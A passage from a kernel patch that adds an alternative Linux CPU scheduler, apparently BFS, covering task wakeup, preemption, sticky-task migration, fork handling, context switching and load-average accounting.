++	atomic_notifier_chain_register(&task_migration_notifier, n);
++}
++
++#ifdef CONFIG_SMP
++void set_task_cpu(struct task_struct *p, unsigned int cpu)
++{
++#ifdef CONFIG_LOCKDEP
++	/*
++	 * The caller should hold grq lock.
++	 */
++	WARN_ON_ONCE(debug_locks && !lockdep_is_held(&grq.lock));
++#endif
++	trace_sched_migrate_task(p, cpu);
++	if (task_cpu(p) != cpu)
++		perf_sw_event(PERF_COUNT_SW_CPU_MIGRATIONS, 1, NULL, 0);
++
++	/*
++	 * After ->cpu is set up to a new value, task_grq_lock(p, ...) can be
++	 * successfully executed on another CPU. We must ensure that updates of
++	 * per-task data have been completed by this moment.
++	 */
++	smp_wmb();
++	task_thread_info(p)->cpu = cpu;
++}
++
++static inline void clear_sticky(struct task_struct *p)
++{
++	p->sticky = false;
++}
++
++static inline bool task_sticky(struct task_struct *p)
++{
++	return p->sticky;
++}
++
++/* Reschedule the best idle CPU that is not this one. */
++static void
++resched_closest_idle(struct rq *rq, int cpu, struct task_struct *p)
++{
++	cpumask_t tmpmask;
++
++	cpus_and(tmpmask, p->cpus_allowed, grq.cpu_idle_map);
++	cpu_clear(cpu, tmpmask);
++	if (cpus_empty(tmpmask))
++		return;
++	resched_best_mask(cpu, rq, &tmpmask);
++}
++
++/*
++ * We set the sticky flag on a task that is descheduled involuntarily meaning
++ * it is awaiting further CPU time. If the last sticky task is still sticky
++ * but unlucky enough to not be the next task scheduled, we unstick it and try
++ * to find it an idle CPU. Realtime tasks do not stick to minimise their
++ * latency at all times.
++ */
++static inline void
++swap_sticky(struct rq *rq, int cpu, struct task_struct *p)
++{
++	if (rq->sticky_task) {
++		if (rq->sticky_task == p) {
++			p->sticky = true;
++			return;
++		}
++		if (task_sticky(rq->sticky_task)) {
++			clear_sticky(rq->sticky_task);
++			resched_closest_idle(rq, cpu, rq->sticky_task);
++		}
++	}
++	if (!rt_task(p)) {
++		p->sticky = true;
++		rq->sticky_task = p;
++	} else {
++		resched_closest_idle(rq, cpu, p);
++		rq->sticky_task = NULL;
++	}
++}
++
++static inline void unstick_task(struct rq *rq, struct task_struct *p)
++{
++	rq->sticky_task = NULL;
++	clear_sticky(p);
++}
++#else
++static inline void clear_sticky(struct task_struct *p)
++{
++}
++
++static inline bool task_sticky(struct task_struct *p)
++{
++	return false;
++}
++
++static inline void
++swap_sticky(struct rq *rq, int cpu, struct task_struct *p)
++{
++}
++
++static inline void unstick_task(struct rq *rq, struct task_struct *p)
++{
++}
++#endif
++
++/*
++ * Move a task off the global queue and take it to a cpu for it will
++ * become the running task.
++ */
++static inline void take_task(int cpu, struct task_struct *p)
++{
++	set_task_cpu(p, cpu);
++	dequeue_task(p);
++	clear_sticky(p);
++	dec_qnr();
++}
++
++/*
++ * Returns a descheduling task to the grq runqueue unless it is being
++ * deactivated.
++ */
++static inline void return_task(struct task_struct *p, bool deactivate)
++{
++	if (deactivate)
++		deactivate_task(p);
++	else {
++		inc_qnr();
++		enqueue_task(p);
++	}
++}
++
++/*
++ * resched_task - mark a task 'to be rescheduled now'.
++ *
++ * On UP this means the setting of the need_resched flag, on SMP it
++ * might also involve a cross-CPU call to trigger the scheduler on
++ * the target CPU.
++ */
++#ifdef CONFIG_SMP
++
++#ifndef tsk_is_polling
++#define tsk_is_polling(t) 0
++#endif
++
++static void resched_task(struct task_struct *p)
++{
++	int cpu;
++
++	assert_raw_spin_locked(&grq.lock);
++
++	if (unlikely(test_tsk_thread_flag(p, TIF_NEED_RESCHED)))
++		return;
++
++	set_tsk_thread_flag(p, TIF_NEED_RESCHED);
++
++	cpu = task_cpu(p);
++	if (cpu == smp_processor_id())
++		return;
++
++	/* NEED_RESCHED must be visible before we test polling */
++	smp_mb();
++	if (!tsk_is_polling(p))
++		smp_send_reschedule(cpu);
++}
++
++#else
++static inline void resched_task(struct task_struct *p)
++{
++	assert_raw_spin_locked(&grq.lock);
++	set_tsk_need_resched(p);
++}
++#endif
++
++/**
++ * task_curr - is this task currently executing on a CPU?
++ * @p: the task in question.
++ */
++inline int task_curr(const struct task_struct *p)
++{
++	return cpu_curr(task_cpu(p)) == p;
++}
++
++#ifdef CONFIG_SMP
++struct migration_req {
++	struct task_struct *task;
++	int dest_cpu;
++};
++
++/*
++ * wait_task_inactive - wait for a thread to unschedule.
++ *
++ * If @match_state is nonzero, it's the @p->state value just checked and
++ * not expected to change.  If it changes, i.e. @p might have woken up,
++ * then return zero.  When we succeed in waiting for @p to be off its CPU,
++ * we return a positive number (its total switch count).  If a second call
++ * a short while later returns the same number, the caller can be sure that
++ * @p has remained unscheduled the whole time.
++ *
++ * The caller must ensure that the task *will* unschedule sometime soon,
++ * else this function might spin for a *long* time. This function can't
++ * be called with interrupts off, or it may introduce deadlock with
++ * smp_call_function() if an IPI is sent by the same process we are
++ * waiting to become inactive.
++ */
++unsigned long wait_task_inactive(struct task_struct *p, long match_state)
++{
++	unsigned long flags;
++	bool running, on_rq;
++	unsigned long ncsw;
++	struct rq *rq;
++
++	for (;;) {
++		/*
++		 * We do the initial early heuristics without holding
++		 * any task-queue locks at all. We'll only try to get
++		 * the runqueue lock when things look like they will
++		 * work out! In the unlikely event rq is dereferenced
++		 * since we're lockless, grab it again.
++		 */
++#ifdef CONFIG_SMP
++retry_rq:
++		rq = task_rq(p);
++		if (unlikely(!rq))
++			goto retry_rq;
++#else /* CONFIG_SMP */
++		rq = task_rq(p);
++#endif
++		/*
++		 * If the task is actively running on another CPU
++		 * still, just relax and busy-wait without holding
++		 * any locks.
++		 *
++		 * NOTE! Since we don't hold any locks, it's not
++		 * even sure that "rq" stays as the right runqueue!
++		 * But we don't care, since this will return false
++		 * if the runqueue has changed and p is actually now
++		 * running somewhere else!
++		 */
++		while (task_running(p) && p == rq->curr) {
++			if (match_state && unlikely(p->state != match_state))
++				return 0;
++			cpu_relax();
++		}
++
++		/*
++		 * Ok, time to look more closely! We need the grq
++		 * lock now, to be *sure*. If we're wrong, we'll
++		 * just go back and repeat.
++		 */
++		rq = task_grq_lock(p, &flags);
++		trace_sched_wait_task(p);
++		running = task_running(p);
++		on_rq = task_queued(p);
++		ncsw = 0;
++		if (!match_state || p->state == match_state)
++			ncsw = p->nvcsw | LONG_MIN; /* sets MSB */
++		task_grq_unlock(&flags);
++
++		/*
++		 * If it changed from the expected state, bail out now.
++		 */
++		if (unlikely(!ncsw))
++			break;
++
++		/*
++		 * Was it really running after all now that we
++		 * checked with the proper locks actually held?
++		 *
++		 * Oops. Go back and try again..
++		 */
++		if (unlikely(running)) {
++			cpu_relax();
++			continue;
++		}
++
++		/*
++		 * It's not enough that it's not actively running,
++		 * it must be off the runqueue _entirely_, and not
++		 * preempted!
++		 *
++		 * So if it was still runnable (but just not actively
++		 * running right now), it's preempted, and we should
++		 * yield - it could be a while.
++		 */
++		if (unlikely(on_rq)) {
++			ktime_t to = ktime_set(0, NSEC_PER_SEC / HZ);
++
++			set_current_state(TASK_UNINTERRUPTIBLE);
++			schedule_hrtimeout(&to, HRTIMER_MODE_REL);
++			continue;
++		}
++
++		/*
++		 * Ahh, all good. It wasn't running, and it wasn't
++		 * runnable, which means that it will never become
++		 * running in the future either. We're all done!
++		 */
++		break;
++	}
++
++	return ncsw;
++}
++
++/***
++ * kick_process - kick a running thread to enter/exit the kernel
++ * @p: the to-be-kicked thread
++ *
++ * Cause a process which is running on another CPU to enter
++ * kernel-mode, without any delay. (to get signals handled.)
++ *
++ * NOTE: this function doesn't have to take the runqueue lock,
++ * because all it wants to ensure is that the remote task enters
++ * the kernel. If the IPI races and the task has been migrated
++ * to another CPU then no harm is done and the purpose has been
++ * achieved as well.
++ */
++void kick_process(struct task_struct *p)
++{
++	int cpu;
++
++	preempt_disable();
++	cpu = task_cpu(p);
++	if ((cpu != smp_processor_id()) && task_curr(p))
++		smp_send_reschedule(cpu);
++	preempt_enable();
++}
++EXPORT_SYMBOL_GPL(kick_process);
++#endif
++
++#define rq_idle(rq)	((rq)->rq_prio == PRIO_LIMIT)
++
++/*
++ * RT tasks preempt purely on priority. SCHED_NORMAL tasks preempt on the
++ * basis of earlier deadlines. SCHED_IDLEPRIO don't preempt anything else or
++ * between themselves, they cooperatively multitask. An idle rq scores as
++ * prio PRIO_LIMIT so it is always preempted.
++ */
++static inline bool
++can_preempt(struct task_struct *p, int prio, u64 deadline)
++{
++	/* Better static priority RT task or better policy preemption */
++	if (p->prio < prio)
++		return true;
++	if (p->prio > prio)
++		return false;
++	/* SCHED_NORMAL, BATCH and ISO will preempt based on deadline */
++	if (!deadline_before(p->deadline, deadline))
++		return false;
++	return true;
++}
++
++#ifdef CONFIG_SMP
++#define cpu_online_map		(*(cpumask_t *)cpu_online_mask)
++#ifdef CONFIG_HOTPLUG_CPU
++/*
++ * Check to see if there is a task that is affined only to offline CPUs but
++ * still wants runtime. This happens to kernel threads during suspend/halt and
++ * disabling of CPUs.
++ */
++static inline bool online_cpus(struct task_struct *p)
++{
++	return (likely(cpus_intersects(cpu_online_map, p->cpus_allowed)));
++}
++#else /* CONFIG_HOTPLUG_CPU */
++/* All available CPUs are always online without hotplug. */
++static inline bool online_cpus(struct task_struct *p)
++{
++	return true;
++}
++#endif
++
++/*
++ * Check to see if p can run on cpu, and if not, whether there are any online
++ * CPUs it can run on instead.
++ */
++static inline bool needs_other_cpu(struct task_struct *p, int cpu)
++{
++	if (unlikely(!cpu_isset(cpu, p->cpus_allowed)))
++		return true;
++	return false;
++}
++
++/*
++ * When all else is equal, still prefer this_rq.
++ */
++static void try_preempt(struct task_struct *p, struct rq *this_rq)
++{
++	struct rq *highest_prio_rq = NULL;
++	int cpu, highest_prio;
++	u64 latest_deadline;
++	cpumask_t tmp;
++
++	/*
++	 * We clear the sticky flag here because for a task to have called
++	 * try_preempt with the sticky flag enabled means some complicated
++	 * re-scheduling has occurred and we should ignore the sticky flag.
++	 */
++	clear_sticky(p);
++
++	if (suitable_idle_cpus(p)) {
++		resched_best_idle(p);
++		return;
++	}
++
++	/* IDLEPRIO tasks never preempt anything but idle */
++	if (p->policy == SCHED_IDLEPRIO)
++		return;
++
++	if (likely(online_cpus(p)))
++		cpus_and(tmp, cpu_online_map, p->cpus_allowed);
++	else
++		return;
++
++	highest_prio = latest_deadline = 0;
++
++	for_each_cpu_mask(cpu, tmp) {
++		struct rq *rq;
++		int rq_prio;
++
++		rq = cpu_rq(cpu);
++		rq_prio = rq->rq_prio;
++		if (rq_prio < highest_prio)
++			continue;
++
++		if (rq_prio > highest_prio ||
++		    deadline_after(rq->rq_deadline, latest_deadline)) {
++			latest_deadline = rq->rq_deadline;
++			highest_prio = rq_prio;
++			highest_prio_rq = rq;
++		}
++	}
++
++	if (likely(highest_prio_rq)) {
++		if (can_preempt(p, highest_prio, highest_prio_rq->rq_deadline))
++			resched_task(highest_prio_rq->curr);
++	}
++}
++#else /* CONFIG_SMP */
++static inline bool needs_other_cpu(struct task_struct *p, int cpu)
++{
++	return false;
++}
++
++static void try_preempt(struct task_struct *p, struct rq *this_rq)
++{
++	if (p->policy == SCHED_IDLEPRIO)
++		return;
++	if (can_preempt(p, uprq->rq_prio, uprq->rq_deadline))
++		resched_task(uprq->curr);
++}
++#endif /* CONFIG_SMP */
++
++static void
++ttwu_stat(struct task_struct *p, int cpu, int wake_flags)
++{
++#ifdef CONFIG_SCHEDSTATS
++	struct rq *rq = this_rq();
++
++#ifdef CONFIG_SMP
++	int this_cpu = smp_processor_id();
++
++	if (cpu == this_cpu)
++		schedstat_inc(rq, ttwu_local);
++	else {
++		struct sched_domain *sd;
++
++		rcu_read_lock();
++		for_each_domain(this_cpu, sd) {
++			if (cpumask_test_cpu(cpu, sched_domain_span(sd))) {
++				schedstat_inc(sd, ttwu_wake_remote);
++				break;
++			}
++		}
++		rcu_read_unlock();
++	}
++
++#endif /* CONFIG_SMP */
++
++	schedstat_inc(rq, ttwu_count);
++#endif /* CONFIG_SCHEDSTATS */
++}
++
++static inline void ttwu_activate(struct task_struct *p, struct rq *rq,
++				 bool is_sync)
++{
++	activate_task(p, rq);
++
++	/*
++	 * Sync wakeups (i.e. those types of wakeups where the waker
++	 * has indicated that it will leave the CPU in short order)
++	 * don't trigger a preemption if there are no idle cpus,
++	 * instead waiting for current to deschedule.
++	 */
++	if (!is_sync || suitable_idle_cpus(p))
++		try_preempt(p, rq);
++}
++
++static inline void ttwu_post_activation(struct task_struct *p, struct rq *rq,
++					bool success)
++{
++	trace_sched_wakeup(p, success);
++	p->state = TASK_RUNNING;
++
++	/*
++	 * if a worker is waking up, notify workqueue. Note that on BFS, we
++	 * don't really know what cpu it will be, so we fake it for
++	 * wq_worker_waking_up :/
++	 */
++	if ((p->flags & PF_WQ_WORKER) && success)
++		wq_worker_waking_up(p, cpu_of(rq));
++}
++
++#ifdef CONFIG_SMP
++void scheduler_ipi(void)
++{
++}
++#endif /* CONFIG_SMP */
++
++/*
++ * wake flags
++ */
++#define WF_SYNC		0x01		/* waker goes to sleep after wakeup */
++#define WF_FORK		0x02		/* child wakeup after fork */
++#define WF_MIGRATED	0x4		/* internal use, task got migrated */
++
++/***
++ * try_to_wake_up - wake up a thread
++ * @p: the thread to be awakened
++ * @state: the mask of task states that can be woken
++ * @wake_flags: wake modifier flags (WF_*)
++ *
++ * Put it on the run-queue if it's not already there. The "current"
++ * thread is always on the run-queue (except when the actual
++ * re-schedule is in progress), and as such you're allowed to do
++ * the simpler "current->state = TASK_RUNNING" to mark yourself
++ * runnable without the overhead of this.
++ *
++ * Returns %true if @p was woken up, %false if it was already running
++ * or @state didn't match @p's state.
++ */
++static bool try_to_wake_up(struct task_struct *p, unsigned int state,
++			  int wake_flags)
++{
++	bool success = false;
++	unsigned long flags;
++	struct rq *rq;
++	int cpu;
++
++	get_cpu();
++
++	/* This barrier is undocumented, probably for p->state? くそ */
++	smp_wmb();
++
++	/*
++	 * No need to do time_lock_grq as we only need to update the rq clock
++	 * if we activate the task
++	 */
++	rq = task_grq_lock(p, &flags);
++	cpu = task_cpu(p);
++
++	/* state is a volatile long, どうして、分からない */
++	if (!((unsigned int)p->state & state))
++		goto out_unlock;
++
++	if (task_queued(p) || task_running(p))
++		goto out_running;
++
++	ttwu_activate(p, rq, wake_flags & WF_SYNC);
++	success = true;
++
++out_running:
++	ttwu_post_activation(p, rq, success);
++out_unlock:
++	task_grq_unlock(&flags);
++
++	ttwu_stat(p, cpu, wake_flags);
++
++	put_cpu();
++
++	return success;
++}
++
++/**
++ * try_to_wake_up_local - try to wake up a local task with grq lock held
++ * @p: the thread to be awakened
++ *
++ * Put @p on the run-queue if it's not already there. The caller must
++ * ensure that grq is locked and, @p is not the current task.
++ * grq stays locked over invocation.
++ */
++static void try_to_wake_up_local(struct task_struct *p)
++{
++	struct rq *rq = task_rq(p);
++	bool success = false;
++
++	lockdep_assert_held(&grq.lock);
++
++	if (!(p->state & TASK_NORMAL))
++		return;
++
++	if (!task_queued(p)) {
++		if (likely(!task_running(p))) {
++			schedstat_inc(rq, ttwu_count);
++			schedstat_inc(rq, ttwu_local);
++		}
++		ttwu_activate(p, rq, false);
++		ttwu_stat(p, smp_processor_id(), 0);
++		success = true;
++	}
++	ttwu_post_activation(p, rq, success);
++}
++
++/**
++ * wake_up_process - Wake up a specific process
++ * @p: The process to be woken up.
++ *
++ * Attempt to wake up the nominated process and move it to the set of runnable
++ * processes.  Returns 1 if the process was woken up, 0 if it was already
++ * running.
++ *
++ * It may be assumed that this function implies a write memory barrier before
++ * changing the task state if and only if any tasks are woken up.
++ */
++int wake_up_process(struct task_struct *p)
++{
++	WARN_ON(task_is_stopped_or_traced(p));
++	return try_to_wake_up(p, TASK_NORMAL, 0);
++}
++EXPORT_SYMBOL(wake_up_process);
++
++int wake_up_state(struct task_struct *p, unsigned int state)
++{
++	return try_to_wake_up(p, state, 0);
++}
++
++static void time_slice_expired(struct task_struct *p);
++
++/*
++ * Perform scheduler related setup for a newly forked process p.
++ * p is forked by current.
++ */
++void sched_fork(struct task_struct *p)
++{
++#ifdef CONFIG_PREEMPT_NOTIFIERS
++	INIT_HLIST_HEAD(&p->preempt_notifiers);
++#endif
++	/*
++	 * The process state is set to the same value of the process executing
++	 * do_fork() code. That is running. This guarantees that nobody will
++	 * actually run it, and a signal or other external event cannot wake
++	 * it up and insert it on the runqueue either.
++	 */
++
++	/* Should be reset in fork.c but done here for ease of bfs patching */
++	p->utime =
++	p->stime =
++	p->utimescaled =
++	p->stimescaled =
++	p->sched_time =
++	p->stime_pc =
++	p->utime_pc = 0;
++
++	/*
++	 * Revert to default priority/policy on fork if requested.
++	 */
++	if (unlikely(p->sched_reset_on_fork)) {
++		if (p->policy == SCHED_FIFO || p->policy == SCHED_RR) {
++			p->policy = SCHED_NORMAL;
++			p->normal_prio = normal_prio(p);
++		}
++
++		if (PRIO_TO_NICE(p->static_prio) < 0) {
++			p->static_prio = NICE_TO_PRIO(0);
++			p->normal_prio = p->static_prio;
++		}
++
++		/*
++		 * We don't need the reset flag anymore after the fork. It has
++		 * fulfilled its duty:
++		 */
++		p->sched_reset_on_fork = 0;
++	}
++
++	INIT_LIST_HEAD(&p->run_list);
++#if defined(CONFIG_SCHEDSTATS) || defined(CONFIG_TASK_DELAY_ACCT)
++	if (unlikely(sched_info_on()))
++		memset(&p->sched_info, 0, sizeof(p->sched_info));
++#endif
++	p->on_cpu = false;
++	clear_sticky(p);
++
++#ifdef CONFIG_PREEMPT_COUNT
++	/* Want to start with kernel preemption disabled. */
++	task_thread_info(p)->preempt_count = 1;
++#endif
++}
++
++/*
++ * wake_up_new_task - wake up a newly created task for the first time.
++ *
++ * This function will do some initial scheduler statistics housekeeping
++ * that must be done for every newly created context, then puts the task
++ * on the runqueue and wakes it.
++ */
++void wake_up_new_task(struct task_struct *p)
++{
++	struct task_struct *parent;
++	unsigned long flags;
++	struct rq *rq;
++
++	parent = p->parent;
++	rq = task_grq_lock(p, &flags);
++
++	/*
++	 * Reinit new task deadline as its creator deadline could have changed
++	 * since call to dup_task_struct().
++	 */
++	p->deadline = rq->rq_deadline;
++
++	/*
++	 * If the task is a new process, current and parent are the same. If
++	 * the task is a new thread in the thread group, it will have much more
++	 * in common with current than with the parent.
++	 */
++	set_task_cpu(p, task_cpu(rq->curr));
++
++	/*
++	 * Make sure we do not leak PI boosting priority to the child.
++	 */
++	p->prio = rq->curr->normal_prio;
++
++	activate_task(p, rq);
++	trace_sched_wakeup_new(p, 1);
++	if (unlikely(p->policy == SCHED_FIFO))
++		goto after_ts_init;
++
++	/*
++	 * Share the timeslice between parent and child, thus the
++	 * total amount of pending timeslices in the system doesn't change,
++	 * resulting in more scheduling fairness. If it's negative, it won't
++	 * matter since that's the same as being 0. current's time_slice is
++	 * actually in rq_time_slice when it's running, as is its last_ran
++	 * value. rq->rq_deadline is only modified within schedule() so it
++	 * is always equal to current->deadline.
++	 */
++	p->last_ran = rq->rq_last_ran;
++	if (likely(rq->rq_time_slice >= RESCHED_US * 2)) {
++		rq->rq_time_slice /= 2;
++		p->time_slice = rq->rq_time_slice;
++after_ts_init:
++		if (rq->curr == parent && !suitable_idle_cpus(p)) {
++			/*
++			 * The VM isn't cloned, so we're in a good position to
++			 * do child-runs-first in anticipation of an exec. This
++			 * usually avoids a lot of COW overhead.
++			 */
++			set_tsk_need_resched(parent);
++		} else
++			try_preempt(p, rq);
++	} else {
++		if (rq->curr == parent) {
++			/*
++		 	* Forking task has run out of timeslice. Reschedule it and
++		 	* start its child with a new time slice and deadline. The
++		 	* child will end up running first because its deadline will
++		 	* be slightly earlier.
++		 	*/
++			rq->rq_time_slice = 0;
++			set_tsk_need_resched(parent);
++		}
++		time_slice_expired(p);
++	}
++	task_grq_unlock(&flags);
++}
++
++#ifdef CONFIG_PREEMPT_NOTIFIERS
++
++/**
++ * preempt_notifier_register - tell me when current is being preempted & rescheduled
++ * @notifier: notifier struct to register
++ */
++void preempt_notifier_register(struct preempt_notifier *notifier)
++{
++	hlist_add_head(&notifier->link, &current->preempt_notifiers);
++}
++EXPORT_SYMBOL_GPL(preempt_notifier_register);
++
++/**
++ * preempt_notifier_unregister - no longer interested in preemption notifications
++ * @notifier: notifier struct to unregister
++ *
++ * This is safe to call from within a preemption notifier.
++ */
++void preempt_notifier_unregister(struct preempt_notifier *notifier)
++{
++	hlist_del(&notifier->link);
++}
++EXPORT_SYMBOL_GPL(preempt_notifier_unregister);
++
++static void fire_sched_in_preempt_notifiers(struct task_struct *curr)
++{
++	struct preempt_notifier *notifier;
++
++	hlist_for_each_entry(notifier, &curr->preempt_notifiers, link)
++		notifier->ops->sched_in(notifier, raw_smp_processor_id());
++}
++
++static void
++fire_sched_out_preempt_notifiers(struct task_struct *curr,
++				 struct task_struct *next)
++{
++	struct preempt_notifier *notifier;
++
++	hlist_for_each_entry(notifier, &curr->preempt_notifiers, link)
++		notifier->ops->sched_out(notifier, next);
++}
++
++#else /* !CONFIG_PREEMPT_NOTIFIERS */
++
++static void fire_sched_in_preempt_notifiers(struct task_struct *curr)
++{
++}
++
++static void
++fire_sched_out_preempt_notifiers(struct task_struct *curr,
++				 struct task_struct *next)
++{
++}
++
++#endif /* CONFIG_PREEMPT_NOTIFIERS */
++
++/**
++ * prepare_task_switch - prepare to switch tasks
++ * @rq: the runqueue preparing to switch
++ * @next: the task we are going to switch to.
++ *
++ * This is called with the rq lock held and interrupts off. It must
++ * be paired with a subsequent finish_task_switch after the context
++ * switch.
++ *
++ * prepare_task_switch sets up locking and calls architecture specific
++ * hooks.
++ */
++static inline void
++prepare_task_switch(struct rq *rq, struct task_struct *prev,
++		    struct task_struct *next)
++{
++	sched_info_switch(prev, next);
++	perf_event_task_sched_out(prev, next);
++	fire_sched_out_preempt_notifiers(prev, next);
++	prepare_lock_switch(rq, next);
++	prepare_arch_switch(next);
++	trace_sched_switch(prev, next);
++}
++
++/**
++ * finish_task_switch - clean up after a task-switch
++ * @rq: runqueue associated with task-switch
++ * @prev: the thread we just switched away from.
++ *
++ * finish_task_switch must be called after the context switch, paired
++ * with a prepare_task_switch call before the context switch.
++ * finish_task_switch will reconcile locking set up by prepare_task_switch,
++ * and do any other architecture-specific cleanup actions.
++ *
++ * Note that we may have delayed dropping an mm in context_switch(). If
++ * so, we finish that here outside of the runqueue lock.  (Doing it
++ * with the lock held can cause deadlocks; see schedule() for
++ * details.)
++ */
++static inline void finish_task_switch(struct rq *rq, struct task_struct *prev)
++	__releases(grq.lock)
++{
++	struct mm_struct *mm = rq->prev_mm;
++	long prev_state;
++
++	rq->prev_mm = NULL;
++
++	/*
++	 * A task struct has one reference for the use as "current".
++	 * If a task dies, then it sets TASK_DEAD in tsk->state and calls
++	 * schedule one last time. The schedule call will never return, and
++	 * the scheduled task must drop that reference.
++	 * The test for TASK_DEAD must occur while the runqueue locks are
++	 * still held, otherwise prev could be scheduled on another cpu, die
++	 * there before we look at prev->state, and then the reference would
++	 * be dropped twice.
++	 *		Manfred Spraul <manfred@colorfullife.com>
++	 */
++	prev_state = prev->state;
++	vtime_task_switch(prev);
++	finish_arch_switch(prev);
++	perf_event_task_sched_in(prev, current);
++	finish_lock_switch(rq, prev);
++	finish_arch_post_lock_switch();
++
++	fire_sched_in_preempt_notifiers(current);
++	if (mm)
++		mmdrop(mm);
++	if (unlikely(prev_state == TASK_DEAD)) {
++		/*
++		 * Remove function-return probe instances associated with this
++		 * task and put them back on the free list.
++		 */
++		kprobe_flush_task(prev);
++		put_task_struct(prev);
++	}
++}
++
++/**
++ * schedule_tail - first thing a freshly forked thread must call.
++ * @prev: the thread we just switched away from.
++ */
++asmlinkage void schedule_tail(struct task_struct *prev)
++	__releases(grq.lock)
++{
++	struct rq *rq = this_rq();
++
++	finish_task_switch(rq, prev);
++#ifdef __ARCH_WANT_UNLOCKED_CTXSW
++	/* In this case, finish_task_switch does not reenable preemption */
++	preempt_enable();
++#endif
++	if (current->set_child_tid)
++		put_user(current->pid, current->set_child_tid);
++}
++
++/*
++ * context_switch - switch to the new MM and the new
++ * thread's register state.
++ */
++static inline void
++context_switch(struct rq *rq, struct task_struct *prev,
++	       struct task_struct *next)
++{
++	struct mm_struct *mm, *oldmm;
++
++	prepare_task_switch(rq, prev, next);
++
++	mm = next->mm;
++	oldmm = prev->active_mm;
++	/*
++	 * For paravirt, this is coupled with an exit in switch_to to
++	 * combine the page table reload and the switch backend into
++	 * one hypercall.
++	 */
++	arch_start_context_switch(prev);
++
++	if (!mm) {
++		next->active_mm = oldmm;
++		atomic_inc(&oldmm->mm_count);
++		enter_lazy_tlb(oldmm, next);
++	} else
++		switch_mm(oldmm, mm, next);
++
++	if (!prev->mm) {
++		prev->active_mm = NULL;
++		rq->prev_mm = oldmm;
++	}
++	/*
++	 * Since the runqueue lock will be released by the next
++	 * task (which is an invalid locking op but in the case
++	 * of the scheduler it's an obvious special-case), so we
++	 * do an early lockdep release here:
++	 */
++#ifndef __ARCH_WANT_UNLOCKED_CTXSW
++	spin_release(&grq.lock.dep_map, 1, _THIS_IP_);
++#endif
++
++	/* Here we just switch the register state and the stack. */
++	context_tracking_task_switch(prev, next);
++	switch_to(prev, next, prev);
++
++	barrier();
++	/*
++	 * this_rq must be evaluated again because prev may have moved
++	 * CPUs since it called schedule(), thus the 'rq' on its stack
++	 * frame will be invalid.
++	 */
++	finish_task_switch(this_rq(), prev);
++}
++
++/*
++ * nr_running, nr_uninterruptible and nr_context_switches:
++ *
++ * externally visible scheduler statistics: current number of runnable
++ * threads, total number of context switches performed since bootup. All are
++ * measured without grabbing the grq lock but the occasional inaccurate result
++ * doesn't matter so long as it's positive.
++ */
++unsigned long nr_running(void)
++{
++	long nr = grq.nr_running;
++
++	if (unlikely(nr < 0))
++		nr = 0;
++	return (unsigned long)nr;
++}
++
++static unsigned long nr_uninterruptible(void)
++{
++	long nu = grq.nr_uninterruptible;
++
++	if (unlikely(nu < 0))
++		nu = 0;
++	return nu;
++}
++
++unsigned long long nr_context_switches(void)
++{
++	long long ns = grq.nr_switches;
++
++	/* This is of course impossible */
++	if (unlikely(ns < 0))
++		ns = 1;
++	return (unsigned long long)ns;
++}
++
++unsigned long nr_iowait(void)
++{
++	unsigned long i, sum = 0;
++
++	for_each_possible_cpu(i)
++		sum += atomic_read(&cpu_rq(i)->nr_iowait);
++
++	return sum;
++}
++
++unsigned long nr_iowait_cpu(int cpu)
++{
++	struct rq *this = cpu_rq(cpu);
++	return atomic_read(&this->nr_iowait);
++}
++
++unsigned long nr_active(void)
++{
++	return nr_running() + nr_uninterruptible();
++}
++
++/* Beyond a task running on this CPU, load is equal everywhere on BFS */
++unsigned long this_cpu_load(void)
++{
++	return this_rq()->rq_running +
++		((queued_notrunning() + nr_uninterruptible()) / grq.noc);
++}
++
++/* Variables and functions for calc_load */
++static unsigned long calc_load_update;
++unsigned long avenrun[3];
++EXPORT_SYMBOL(avenrun);
++
++/**
++ * get_avenrun - get the load average array
++ * @loads:	pointer to dest load array
++ * @offset:	offset to add
++ * @shift:	shift count to shift the result left
++ *
++ * These values are estimates at best, so no need for locking.
++ */
++void get_avenrun(unsigned long *loads, unsigned long offset, int shift)
++{
++	loads[0] = (avenrun[0] + offset) << shift;
++	loads[1] = (avenrun[1] + offset) << shift;
++	loads[2] = (avenrun[2] + offset) << shift;
++}
++
++static unsigned long
++calc_load(unsigned long load, unsigned long exp, unsigned long active)
++{
++	load *= exp;
++	load += active * (FIXED_1 - exp);
++	return load >> FSHIFT;
++}
++
++/*
++ * calc_load - update the avenrun load estimates every LOAD_FREQ seconds.
++ */
++void calc_global_load(unsigned long ticks)
++{
++	long active;
++
++	if (time_before(jiffies, calc_load_update))
++		return;
++	active = nr_active() * FIXED_1;
++
++	avenrun[0] = calc_load(avenrun[0], EXP_1, active);
++	avenrun[1] = calc_load(avenrun[1], EXP_5, active);
++	avenrun[2] = calc_load(avenrun[2], EXP_15, active);
++
++	calc_load_update = jiffies + LOAD_FREQ;
++}
++
++DEFINE_PER_CPU(struct kernel_stat, kstat);
++DEFINE_PER_CPU(struct kernel_cpustat, kernel_cpustat);
++
++EXPORT_PER_CPU_SYMBOL(kstat);
++EXPORT_PER_CPU_SYMBOL(kernel_cpustat);
++
++#ifdef CONFIG_IRQ_TIME_ACCOUNTING
++
++/*
++ * There are no locks covering percpu hardirq/softirq time.
++ * They are only modified in account_system_vtime, on corresponding CPU
++ * with interrupts disabled. So, writes are safe.
++ * They are read and saved off onto struct rq in update_rq_clock().
++ * This may result in other CPU reading this CPU's irq time and can
++ * race with irq/account_system_vtime on this CPU. We would either get old
++ * or new value with a side effect of accounting a slice of irq time to wrong
++ * task when irq is in progress while we read rq->clock. That is a worthy
++ * compromise in place of having locks on each irq in account_system_time.
++ */
++static DEFINE_PER_CPU(u64, cpu_hardirq_time);
++static DEFINE_PER_CPU(u64, cpu_softirq_time);
++
++static DEFINE_PER_CPU(u64, irq_start_time);
++static int sched_clock_irqtime;
++
++void enable_sched_clock_irqtime(void)
++{
++	sched_clock_irqtime = 1;
++}
++
++void disable_sched_clock_irqtime(void)
++{
++	sched_clock_irqtime = 0;
++}
++
++#ifndef CONFIG_64BIT
++static DEFINE_PER_CPU(seqcount_t, irq_time_seq);
++
++static inline void irq_time_write_begin(void)
++{
++	__this_cpu_inc(irq_time_seq.sequence);
++	smp_wmb();
++}
++
++static inline void irq_time_write_end(void)
++{
++	smp_wmb();
++	__this_cpu_inc(irq_time_seq.sequence);
++}
++
++static inline u64 irq_time_read(int cpu)
++{
++	u64 irq_time;
++	unsigned seq;
++
++	do {
++		seq = read_seqcount_begin(&per_cpu(irq_time_seq, cpu));
++		irq_time = per_cpu(cpu_softirq_time, cpu) +
++			   per_cpu(cpu_hardirq_time, cpu);
